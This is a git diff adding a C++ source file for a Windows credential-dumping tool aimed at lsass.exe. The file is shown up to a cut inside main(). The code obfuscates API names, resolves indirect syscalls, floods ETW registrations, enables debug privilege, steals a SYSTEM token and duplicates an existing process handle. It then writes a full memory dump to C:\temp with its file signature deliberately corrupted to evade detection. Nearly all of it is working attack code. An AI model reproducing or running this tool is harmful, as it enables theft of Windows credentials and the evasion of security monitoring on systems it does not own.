diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..18300a5 --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,822 @@ +#include "headers/includes.h" + +#define WIN32_LEAN_AND_MEAN +#define IsProcessSnapshotCallback 16 +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2) +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define STATUS_SUCCESS 0x00000000 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define STATUS_BUFFER_TOO_SMALL 0xC0000023 +#define STATUS_ACCESS_DENIED 0xC0000022 +#define STATUS_NOT_SUPPORTED 0xC00000BB + +typedef LONG NTSTATUS; + +std::vector syscallTable; + +SIZE_T dumpBufferSize; +LPVOID dumpBuffer; +DWORD bytesRead = 0; + + +constexpr int ISQtN[] = { 81, 117, 101, 114, 121, 83, 121, 115, 116, 101, 109, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110}; +constexpr int TPOtN[] = { 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115, 84, 111, 107, 101, 110 }; +constexpr int TPAtN[] = { 65, 100, 106, 117, 115, 116, 80, 114, 105, 118, 105, 108, 101, 103, 101, 115, 84, 111, 107, 101, 110 }; +constexpr int CtN[] = { 67, 108, 111, 115, 101 }; +constexpr int TIQtN[] = { 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 84, 111, 107, 101, 110 }; +constexpr int POtN[] = { 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115 }; +constexpr int TDtN[] = { 68, 117, 112, 108, 105, 99, 97, 116, 101, 84, 111, 107, 101, 110 }; +constexpr int ODtN[] = { 68, 117, 112, 108, 105, 99, 97, 116, 101, 79, 98, 106, 101, 99, 116 }; +constexpr int OQtN[] = { 81, 117, 101, 114, 121, 79, 98, 106, 101, 99, 116 }; +constexpr int TIStN[] = { 83, 101, 116, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 84, 104, 114, 101, 97, 100 }; + +BOOL CALLBACK minidumpCallback( + IN PVOID callbackParam, + IN const PMINIDUMP_CALLBACK_INPUT callbackInput, + IN OUT PMINIDUMP_CALLBACK_OUTPUT callbackOutput +) +{ + LPVOID destination = 0, source = 0; + DWORD bufferSize = 0; + + switch (callbackInput->CallbackType) + { + case IsProcessSnapshotCallback: + callbackOutput->Status = S_FALSE; + break; + + case IoStartCallback: + callbackOutput->Status = S_FALSE; + break; + + case IoWriteAllCallback: + callbackOutput->Status = S_OK; + + source = callbackInput->Io.Buffer; + destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset); + + bufferSize = callbackInput->Io.BufferBytes; + bytesRead += bufferSize; + + if ((bytesRead <= dumpBufferSize) && (destination != NULL)) { + RtlCopyMemory(destination, source, bufferSize); + } + else { + callbackOutput->Status = S_FALSE; + } + + break; + + case IoFinishCallback: + callbackOutput->Status = S_OK; + break; + + default: + return TRUE; + } + return TRUE; +} + +void RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString) { + if (SourceString == nullptr) { + DestinationString->Length = 0; + DestinationString->MaximumLength = 0; + DestinationString->Buffer = nullptr; + } + else { + size_t size = wcslen(SourceString) * sizeof(WCHAR); + DestinationString->Length = static_cast(size); + DestinationString->MaximumLength = static_cast(size + sizeof(WCHAR)); + DestinationString->Buffer = const_cast(SourceString); + } +} + +void InitializeObjectAttributes( + POBJECT_ATTRIBUTES p, + PUNICODE_STRING n, + ULONG a, + HANDLE r, + PVOID s +) { + p->Length = sizeof(OBJECT_ATTRIBUTES); + p->RootDirectory = r; + p->Attributes = a; + p->ObjectName = n; + p->SecurityDescriptor = s; + p->SecurityQualityOfService = nullptr; +} + +std::wstring GetLastErrorMessage() { + DWORD errorCode = GetLastError(); + LPWSTR errorMessage = nullptr; + + FormatMessageW( + FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + nullptr, errorCode, 0, + reinterpret_cast(&errorMessage), 0, nullptr); + + if (errorMessage != nullptr) { + std::wstring errorMsg(errorMessage); + LocalFree(errorMessage); + return errorMsg; + } + else { + return L"Failed to retrieve error message."; + } +} + +template +StringType unASCIIme(const int(&ascii_values)[N]) { + StringType result; + result += static_cast(78); + result += static_cast(116); + for (size_t i = 0; i < N; ++i) + result += static_cast(ascii_values[i]); + return result; +} + +constexpr unsigned int numRNG() { + const char* timeStr = __TIME__; + unsigned int hash = '0' * -40271 + + __TIME__[7] * 1 + + __TIME__[6] * 10 + + __TIME__[4] * 60 + + __TIME__[3] * 600 + + __TIME__[1] * 3600 + + __TIME__[0] * 36000; + + for (int i = 0; timeStr[i] != '\0'; ++i) + hash = 31 * hash + timeStr[i]; + return hash; +} + +constexpr unsigned long DJB2me(const char* str) { + unsigned long hash = numRNG(); + while (int c = *str++) { + hash = ((hash << 7) + hash) + c; + } + return hash; +} + +PPEB GetPEB() { + DWORD64 offset1 = 0x30; + DWORD64 offset2 = 0x20; + DWORD64 offset3 = 0x10; + + PPEB peb = reinterpret_cast(__readgsqword(offset1 + offset2 + offset3)); + return peb; +} + +PVOID GetModuleBaseAddress(const wchar_t* moduleName) { + PPEB peb = GetPEB(); + PLIST_ENTRY moduleList = &peb->Ldr->InLoadOrderModuleList; + + for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) { + PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + if (wcscmp(module->BaseDllName.Buffer, moduleName) == 0) { + return module->DllBase; + } + } + return nullptr; +} + +int Partition(std::vector& arr, int low, int high) { + auto pivot = arr[high]; + int i = (low - 1); + + for (int j = low; j < high; j++) { + if (arr[j].Address < pivot.Address) { + i++; + std::swap(arr[i], arr[j]); + } + } + std::swap(arr[i + 1], arr[high]); + return (i + 1); +} + +void QuickSort(std::vector& arr, int low, int high) { + if (low < high) { + int pi = Partition(arr, low, high); + + QuickSort(arr, low, pi - 1); + QuickSort(arr, pi + 1, high); + } +} + +void ParseEAT() { + const wchar_t lldlldtn[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' }; + HMODULE hNtdll = reinterpret_cast(GetModuleBaseAddress((LPCWSTR)lldlldtn)); + PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast(hNtdll); + PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast(reinterpret_cast(hNtdll) + pDosHeader->e_lfanew); + PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast(reinterpret_cast(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + PDWORD pFunctions = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfFunctions); + PDWORD pNames = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNames); + PWORD pNameOrdinals = reinterpret_cast(reinterpret_cast(hNtdll) + pExportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { + PCHAR pFunctionName = reinterpret_cast(reinterpret_cast(hNtdll) + pNames[i]); + if (strncmp(pFunctionName, "Zw", 2) == 0) { + SYSCALL_ENTRY entry; + DWORD functionRVA = pFunctions[pNameOrdinals[i]]; + entry.Address = reinterpret_cast(reinterpret_cast(hNtdll) + functionRVA); + entry.Hash = DJB2me(("Nt" + std::string(pFunctionName + 2)).c_str()); + syscallTable.push_back(entry); + } + } + + QuickSort(syscallTable, 0, syscallTable.size() - 1); + + for (SIZE_T i = 0; i < syscallTable.size(); i++) + syscallTable[i].Address = EncodePointer(syscallTable[i].Address); +} + +template +ReturnType GetVal(std::string funcName) { + for (SIZE_T i = 0; i < syscallTable.size(); ++i) + if (syscallTable[i].Hash == DJB2me(funcName.c_str())) + if constexpr (std::is_same_v) return static_cast(i); + else if constexpr (std::is_same_v) return DecodePointer(syscallTable[i].Address); + else static_assert(std::is_same_v || std::is_same_v, "Invalid Type"); + return ReturnType{ 0 }; +} + +uintptr_t GetOffset(std::string funcName) noexcept { + INT64 offset = 0; + BYTE signature[] = { 0x0F, 0x05, 0xC3 }; + + uintptr_t pFunc = reinterpret_cast(GetVal(funcName)); + PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast(pFunc); + PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast(reinterpret_cast(pFunc) + pDosHeader->e_lfanew); + INT64 pSize = (pNtHeaders->OptionalHeader.SizeOfImage); + BYTE* currentbytes = (BYTE*)pFunc; + + for (;;) + { + if (*(reinterpret_cast(currentbytes)) == signature[0] && + *(reinterpret_cast(currentbytes + 1)) == signature[1] && + *(reinterpret_cast(currentbytes + 2)) == signature[2]) + { + return pFunc + offset; + } + offset++; + if (offset + 3 > pSize) + return INFINITE; + currentbytes = reinterpret_cast(pFunc + offset); + } +} + +void Gluttony() { + DWORD status = ERROR_SUCCESS; + REGHANDLE RegistrationHandle = NULL; + const GUID ProviderGuid = { 0x230d3ce1, 0xbccc, 0x124e, {0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4} }; + int count = 0; + while (status = EventRegister(&ProviderGuid, NULL, NULL, &RegistrationHandle) == ERROR_SUCCESS) { + count++; + } + printf("%d\n", count); +} + + +BOOL YouMustBeThisTallToRide() { + BOOL fIsElevated = FALSE; + HANDLE hToken = NULL; + TOKEN_ELEVATION elevation; + DWORD dwSize; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + if (hToken) CloseHandle(hToken); + return FALSE; + } + + if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { + if (hToken) CloseHandle(hToken); + return FALSE; + } + + fIsElevated = elevation.TokenIsElevated; +} + +BOOL GetPromoted(HANDLE hToken) { + const uintptr_t jmpNtDT = GetOffset(unASCIIme(TDtN)); + const uintptr_t jmpNtSIT = GetOffset(unASCIIme(TIStN)); + const int NtDT = GetVal(unASCIIme(TDtN)); + const int NtSIT = GetVal(unASCIIme(TIStN)); + + HANDLE hCurrent = NtCurrentThread(); + HANDLE hDuplicate = nullptr; + NTSTATUS status = STATUS_SUCCESS; + + OBJECT_ATTRIBUTES ObjectAttributes; + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + + SECURITY_QUALITY_OF_SERVICE Qos; + Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); + Qos.ImpersonationLevel = SecurityImpersonation; + Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; + Qos.EffectiveOnly = FALSE; + + ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); + ObjectAttributes.RootDirectory = NULL; + ObjectAttributes.ObjectName = NULL; + ObjectAttributes.Attributes = 0; + ObjectAttributes.SecurityDescriptor = NULL; + ObjectAttributes.SecurityQualityOfService = &Qos; + + SetJumpAddress(jmpNtDT); + status = NtDuplicateToken(hToken, TOKEN_ALL_ACCESS, &ObjectAttributes, FALSE, TokenImpersonation, &hDuplicate, NtDT); + + SetJumpAddress(jmpNtSIT); + status = NtSetInformationThread(hCurrent, ThreadImpersonationToken, &hDuplicate, sizeof(HANDLE), NtSIT); + + return NT_SUCCESS(status); +} + +BOOL GetDemoted() { + const uintptr_t jmpNtSIT = GetOffset(unASCIIme(TIStN)); + const int NtSIT = GetVal(unASCIIme(TIStN)); + + HANDLE hCurrent = NtCurrentThread(); + HANDLE hNull = nullptr; + NTSTATUS status = STATUS_SUCCESS; + + SetJumpAddress(jmpNtSIT); + status = NtSetInformationThread(hCurrent, ThreadImpersonationToken, &hNull, sizeof(HANDLE), NtSIT); + + return NT_SUCCESS(status); +} + +BOOL LetMeDoStuff(HANDLE hToken, LUID luid, BOOL bLetMeDoTheThing) { + NTSTATUS status = STATUS_SUCCESS; + TOKEN_PRIVILEGES priv = { 0 }; + + const uintptr_t jmpNtAPT = GetOffset(unASCIIme(TPAtN)); + const uintptr_t jmpNtC = GetOffset(unASCIIme(CtN)); + const int NtAPT = GetVal(unASCIIme(TPAtN)); + const int NtC = GetVal(unASCIIme(CtN)); + + priv.PrivilegeCount = 1; + priv.Privileges[0].Luid = luid; + priv.Privileges[0].Attributes = bLetMeDoTheThing ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED; + + SetJumpAddress(jmpNtAPT); + status = NtAdjustPrivilegesToken(hToken, FALSE, &priv, 0, NULL, NULL, NtAPT); + if (!NT_SUCCESS(status)) { + return FALSE; + } + return TRUE; +} + +PSYSTEM_PROCESS_INFORMATION GetSysProcInfo() { + NTSTATUS status = STATUS_SUCCESS; + PVOID buffer = nullptr; + ULONG bufferSize = 0; + + const uintptr_t jmpNtQSI = GetOffset(unASCIIme(ISQtN)); + const int NtQSI = GetVal(unASCIIme(ISQtN)); + + SetJumpAddress(jmpNtQSI); + status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, &bufferSize, NtQSI); + + while (status == STATUS_INFO_LENGTH_MISMATCH) { + if (buffer) free(buffer); + buffer = malloc(bufferSize); + if (!buffer) { + return nullptr; + } + SetJumpAddress(jmpNtQSI); + status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, &bufferSize, NtQSI); + } + + if (!NT_SUCCESS(status)) { + if (buffer) free(buffer); + return nullptr; + } + + return (PSYSTEM_PROCESS_INFORMATION)buffer; +} + +DWORD WeHaveTheChatLogsHere(void) { + EVT_HANDLE hResults = NULL, hContext = NULL, hEvent = NULL; + DWORD dwProcessId = 0; + + do { + hResults = EvtQuery(NULL, L"Security", L"*[System[EventID=4608]]", EvtQueryChannelPath | EvtQueryTolerateQueryErrors); + if (!hResults) { + wprintf(L"EvtQuery failed: %s\n", GetLastErrorMessage()); + break; + } + + if (!EvtSeek(hResults, 0, NULL, 0, EvtSeekRelativeToLast)) { + wprintf(L"EvtSeek failed: %s\n", GetLastErrorMessage()); + break; + } + + DWORD dwReturned = 0; + if (!EvtNext(hResults, 1, &hEvent, INFINITE, 0, &dwReturned) || dwReturned != 1) { + wprintf(L"EvtNext failed: %s\n", GetLastErrorMessage()); + break; + } + + LPCWSTR ppValues[] = { L"Event/System/Execution/@ProcessID" }; + hContext = EvtCreateRenderContext(1, ppValues, EvtRenderContextValues); + if (!hContext) { + wprintf(L"EvtCreateRenderContext failed: %s\n", GetLastErrorMessage()); + break; + } + + EVT_VARIANT pProcessId = { 0 }; + if (!EvtRender(hContext, hEvent, EvtRenderEventValues, sizeof(EVT_VARIANT), &pProcessId, &dwReturned, NULL)) { + wprintf(L"EvtRender failed: %s\n", GetLastErrorMessage()); + break; + } + + dwProcessId = pProcessId.UInt32Val; + } while (FALSE); + + if (hEvent) EvtClose(hEvent); + if (hContext) EvtClose(hContext); + if (hResults) EvtClose(hResults); + + return dwProcessId; +} + +BOOL IsSystemProcess(HANDLE hToken) { + BOOL isSystem = FALSE; + NTSTATUS status = STATUS_SUCCESS; + PTOKEN_USER pTokenUser = nullptr; + ULONG pTokenUserSize = sizeof(PTOKEN_USER); + pTokenUser = (PTOKEN_USER)malloc(pTokenUserSize); + + const uintptr_t jmpNtQIT = GetOffset(unASCIIme(TIQtN)); + const int NtQIT = GetVal(unASCIIme(TIQtN)); + + SetJumpAddress(jmpNtQIT); + status = NtQueryInformationToken(hToken, TokenUser, pTokenUser, pTokenUserSize, &pTokenUserSize, NtQIT); + + while (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_INFO_LENGTH_MISMATCH) { + if (pTokenUser) free(pTokenUser); + pTokenUser = (PTOKEN_USER)malloc(pTokenUserSize); + if (!pTokenUser) { + return FALSE; + } + SetJumpAddress(jmpNtQIT); + status = NtQueryInformationToken(hToken, TokenUser, pTokenUser, pTokenUserSize, &pTokenUserSize, NtQIT); + } + + if (!NT_SUCCESS(status)) { + if (pTokenUser) free(pTokenUser); + return FALSE; + } + + PSID pSystemSid; + ConvertStringSidToSid(L"S-1-5-18", &pSystemSid); + isSystem = EqualSid(pTokenUser->User.Sid, pSystemSid); + free(pTokenUser); + LocalFree(pSystemSid); + + return isSystem; +} + +HANDLE FindersKeepers(LUID luid = { 0,0 }) { + PSYSTEM_PROCESS_INFORMATION sysProcInfo = GetSysProcInfo(); + std::wstring blacklist[] = { L"winlogon.exe", L"csrss.exe", L"svchost.exe", L"lsass.exe", L"spoolsv.exe" , L"LsaIso.exe" }; + int blacklistSize = sizeof(blacklist) / sizeof(*blacklist); + NTSTATUS status = STATUS_SUCCESS; + HANDLE hProcess = nullptr; + HANDLE hToken = nullptr; + HANDLE hDuplicate = nullptr; + + const uintptr_t jmpNtOP = GetOffset(unASCIIme(POtN)); + const uintptr_t jmpNtOPT = GetOffset(unASCIIme(TPOtN)); + const uintptr_t jmpNtDT = GetOffset(unASCIIme(TDtN)); + const uintptr_t jmpNtC = GetOffset(unASCIIme(CtN)); + const int NtOP = GetVal(unASCIIme(POtN)); + const int NtOPT = GetVal(unASCIIme(TPOtN)); + const int NtDT = GetVal(unASCIIme(TDtN)); + const int NtC = GetVal(unASCIIme(CtN)); + + HANDLE hCurrent = nullptr; + SetJumpAddress(jmpNtOPT); + status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrent, NtOPT); + if (!NT_SUCCESS(status)) + if (status == STATUS_ACCESS_DENIED) { + sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset); + return hCurrent; + } + + LetMeDoStuff(hCurrent, luid, TRUE); + SetJumpAddress(jmpNtC); + NtClose(hCurrent, NtC); + + do { + if (sysProcInfo->ImageName.Length) { + BOOL isBlacklisted = std::find(blacklist, blacklist + blacklistSize, sysProcInfo->ImageName.Buffer) != blacklist + blacklistSize; + if (!isBlacklisted) { + CLIENT_ID clientId = { (HANDLE)sysProcInfo->UniqueProcessId, 0 }; + OBJECT_ATTRIBUTES objAttr; + InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); + + SECURITY_QUALITY_OF_SERVICE Qos; + Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); + Qos.ImpersonationLevel = SecurityImpersonation; + Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; + Qos.EffectiveOnly = FALSE; + + objAttr.Length = sizeof(OBJECT_ATTRIBUTES); + objAttr.RootDirectory = NULL; + objAttr.ObjectName = NULL; + objAttr.Attributes = 0; + objAttr.SecurityDescriptor = NULL; + objAttr.SecurityQualityOfService = &Qos; + + SetJumpAddress(jmpNtOP); + status = NtOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION, &objAttr, &clientId, NtOP); + if (!NT_SUCCESS(status)) + if (status == STATUS_ACCESS_DENIED) { + sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset); + continue; + } + + SetJumpAddress(jmpNtOPT); + status = NtOpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken, NtOPT); + if (!NT_SUCCESS(status)) + if (status == STATUS_ACCESS_DENIED) { + sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset); + continue; + } + + if (IsSystemProcess(hToken)) { + SetJumpAddress(jmpNtDT); + status = NtDuplicateToken(hToken, TOKEN_ALL_ACCESS, &objAttr, FALSE, TokenPrimary, &hDuplicate, NtDT); + if (!NT_SUCCESS(status)) + if (status == STATUS_ACCESS_DENIED) { + sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset); + continue; + } + + SetJumpAddress(jmpNtC); + NtClose(hProcess, NtC); + NtClose(hToken, NtC); + return hDuplicate; + } + else { + SetJumpAddress(jmpNtC); + NtClose(hProcess, NtC); + NtClose(hToken, NtC); + } + } + } + + sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset); + } while (sysProcInfo->NextEntryOffset != 0); + + exit(status); +} + +SIZE_T FindBufferSize(HANDLE hProcess) { + MEMORY_BASIC_INFORMATION mbi; + SIZE_T totalMemory = 0; + BYTE* p = 0; + + while (VirtualQueryEx(hProcess, p, &mbi, sizeof(mbi)) == sizeof(mbi)) { + if (mbi.State == MEM_COMMIT && ( + mbi.Protect == PAGE_READONLY || + mbi.Protect == PAGE_READWRITE || + mbi.Protect == PAGE_EXECUTE_READ || + mbi.Protect == PAGE_EXECUTE_READWRITE || + mbi.Protect == PAGE_WRITECOPY || + mbi.Protect == PAGE_EXECUTE_WRITECOPY || + mbi.Protect == PAGE_EXECUTE) && + !(mbi.Protect & PAGE_GUARD) && + !(mbi.Protect & PAGE_NOACCESS)) + { + totalMemory += mbi.RegionSize; + } + p += mbi.RegionSize; + } + + SIZE_T estimatedOverhead = totalMemory * 0.2; + return totalMemory + estimatedOverhead; +} + +HANDLE HijackHandle(std::string procName) { + std::wstring wsProcName = std::wstring(procName.begin(), procName.end()); + HANDLE hProcess = nullptr; + HANDLE hDuplicate = nullptr; + NTSTATUS status = STATUS_SUCCESS; + + int howManyOpenProcessCalls = 0; + int howManyNonProcessHandles = 0; + + ULONG handleTableInformationSize = sizeof(PSYSTEM_HANDLE_INFORMATION); + PSYSTEM_HANDLE_INFORMATION handleTableInformation = reinterpret_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInformationSize)); + + const uintptr_t jmpNtQSI = GetOffset(unASCIIme(ISQtN)); + const uintptr_t jmpNtOP = GetOffset(unASCIIme(POtN)); + const uintptr_t jmpNtDO = GetOffset(unASCIIme(ODtN)); + const uintptr_t jmpNtQO = GetOffset(unASCIIme(OQtN)); + const uintptr_t jmpNtC = GetOffset(unASCIIme(CtN)); + const int NtQSI = GetVal(unASCIIme(ISQtN)); + const int NtOP = GetVal(unASCIIme(POtN)); + const int NtDO = GetVal(unASCIIme(ODtN)); + const int NtQO = GetVal(unASCIIme(OQtN)); + const int NtC = GetVal(unASCIIme(CtN)); + + SetJumpAddress(jmpNtQSI); + status = NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, handleTableInformationSize, &handleTableInformationSize, NtQSI); + + while (status == STATUS_INFO_LENGTH_MISMATCH) { + if (handleTableInformation) HeapFree(handleTableInformation, NULL, NULL); + handleTableInformation = reinterpret_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInformationSize)); + if (!handleTableInformation) { + return hDuplicate; + } + SetJumpAddress(jmpNtQSI); + status = NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, handleTableInformationSize, &handleTableInformationSize, NtQSI); + } + + if (!NT_SUCCESS(status)) { + if (handleTableInformation) HeapFree(handleTableInformation, NULL, NULL); + return hDuplicate; + } + + DWORD pid = WeHaveTheChatLogsHere(); + + for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) { + SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = static_cast(handleTableInformation->Handles[i]); + + if (!handleInfo.UniqueProcessId == pid || handleInfo.GrantedAccess < PROCESS_VM_READ) + continue; + + OBJECT_ATTRIBUTES objAttr; + CLIENT_ID clientId; + + InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL); + clientId.UniqueProcess = reinterpret_cast(static_cast(handleInfo.UniqueProcessId)); + clientId.UniqueThread = 0; + + SetJumpAddress(jmpNtOP); + status = NtOpenProcess(&hProcess, PROCESS_DUP_HANDLE, &objAttr, &clientId, NtOP); + howManyOpenProcessCalls++; + + if (NT_SUCCESS(status) && hProcess != nullptr) { + SetJumpAddress(jmpNtDO); + status = NtDuplicateObject(hProcess, reinterpret_cast(handleInfo.HandleValue), NtCurrentProcess(), &hDuplicate, PROCESS_ALL_ACCESS, 0, 0, NtDO); + + if (NT_SUCCESS(status) && hDuplicate != nullptr) { + POBJECT_TYPE_INFORMATION objTypeInfo = NULL; + ULONG objTypeInfoSize = sizeof(POBJECT_TYPE_INFORMATION); + + objTypeInfo = reinterpret_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeInfoSize)); + SetJumpAddress(jmpNtQO); + status = NtQueryObject(hDuplicate, ObjectTypeInformation, objTypeInfo, objTypeInfoSize, &objTypeInfoSize, NtQO); + + while (status == STATUS_INFO_LENGTH_MISMATCH) { + if (objTypeInfo) HeapFree(objTypeInfo, NULL, NULL); + objTypeInfo = reinterpret_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeInfoSize)); + if (!objTypeInfo) { + return hDuplicate; + } + SetJumpAddress(jmpNtQO); + status = NtQueryObject(hDuplicate, ObjectTypeInformation, objTypeInfo, objTypeInfoSize, &objTypeInfoSize, NtQO); + } + + if (!NT_SUCCESS(status)) { + if (handleTableInformation) HeapFree(handleTableInformation, NULL, NULL); + return hDuplicate; + } + + if (wcscmp(objTypeInfo->Name.Buffer, L"Process") == 0) { + TCHAR buffer[MAX_PATH]; + DWORD bufferSize = MAX_PATH; + + if (QueryFullProcessImageName(hDuplicate, 0, buffer, &bufferSize)) { + std::wstring processImagePath(buffer); + if (processImagePath.rfind(wsProcName) != std::wstring::npos) { + SetJumpAddress(jmpNtC); + if (hProcess) NtClose(hProcess, NtC); + return hDuplicate; + } + } + } + else { + howManyNonProcessHandles++; + continue; + } + } + else continue; + } + else continue; + } + SetJumpAddress(jmpNtC); + if (hProcess) NtClose(hProcess, NtC); + if (hDuplicate) NtClose(hDuplicate, NtC); + exit(status); +} + +VOID GenerateInvalidSignature(LPVOID dumpBuffer) { + std::srand(numRNG()); + unsigned char* pBuffer = static_cast(dumpBuffer); + + for (int i = 0; i < 8; ++i) { + pBuffer[i] = static_cast(std::rand() % 256); + } +} + +BOOL InvokeMiniDump(HANDLE hProcess) { + BOOL isDumped = FALSE; + + dumpBufferSize = FindBufferSize(hProcess); + dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dumpBufferSize); + + const wchar_t lldplehgbd[] = { L'D', L'b', L'g', L'h', L'e', L'l', L'p', L'.', L'd', L'l', L'l', L'\0' }; + const char dwdm[] = { 'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p', '\0' }; + + typedef BOOL(WINAPI* fMiniDumpWriteDump)( + HANDLE hProcess, + DWORD ProcessId, + HANDLE hFile, + MINIDUMP_TYPE DumpType, + PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, + PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, + PMINIDUMP_CALLBACK_INFORMATION CallbackParam + ); + + fMiniDumpWriteDump miniDumpWriteDump = (fMiniDumpWriteDump)(GetProcAddress(LoadLibrary(lldplehgbd), dwdm)); + + MINIDUMP_CALLBACK_INFORMATION CallbackInfo; + ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION)); + CallbackInfo.CallbackRoutine = &minidumpCallback; + CallbackInfo.CallbackParam = NULL; + + HANDLE hSnapshot = nullptr; + PSS_CAPTURE_FLAGS flags = PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION; + + PssCaptureSnapshot(hProcess, flags, CONTEXT_ALL, (HPSS*)&hSnapshot); + isDumped = miniDumpWriteDump(hSnapshot, 0, NULL, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo); + PssFreeSnapshot(NtCurrentProcess(), (HPSS)hSnapshot); + + if (isDumped) { + GenerateInvalidSignature(dumpBuffer); + LPCWSTR filePath = L"C:\\temp\\debug.dmp"; + DWORD fileAttributes = GetFileAttributesW(L"C:\\temp"); + if (fileAttributes == INVALID_FILE_ATTRIBUTES) { + if (!CreateDirectoryW(L"C:\\temp", NULL)) { + printf("Create C:\\temp first\n"); + return 1; + } + } + HANDLE hFile = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + DWORD bytesWritten = 0; + BOOL writeSuccess = WriteFile(hFile, dumpBuffer, bytesRead, &bytesWritten, NULL); + CloseHandle(hFile); + + RtlSecureZeroMemory(dumpBuffer, dumpBufferSize); + HeapFree(GetProcessHeap(), 0, dumpBuffer); + + wprintf(L"Run `restoresig.py` on %s\n", filePath); + + } + else wprintf(L"Failed, %s", GetLastErrorMessage().c_str()); + + return isDumped; +} + +int main() { + if (!YouMustBeThisTallToRide()) { + printf("Not Admin"); + exit(11); + } + + printf("PID: %i\n", GetProcessId(NtCurrentProcess())); + + Gluttony(); + + const wchar_t PgbDeS[] = { L'S', L'e', L'D', L'e', L'b', L'u', L'g', L'P', L'r', L'i', L'v', L'i', L'l', L'e', L'g', L'e', L'\0' }; + LUID luid = { 0,0 }; + LookupPrivilegeValueW(NULL, PgbDeS, &luid); + + ParseEAT(); + + const char elsauce[] = { 'l', 's', 'a', 's', 's', '.', 'e', 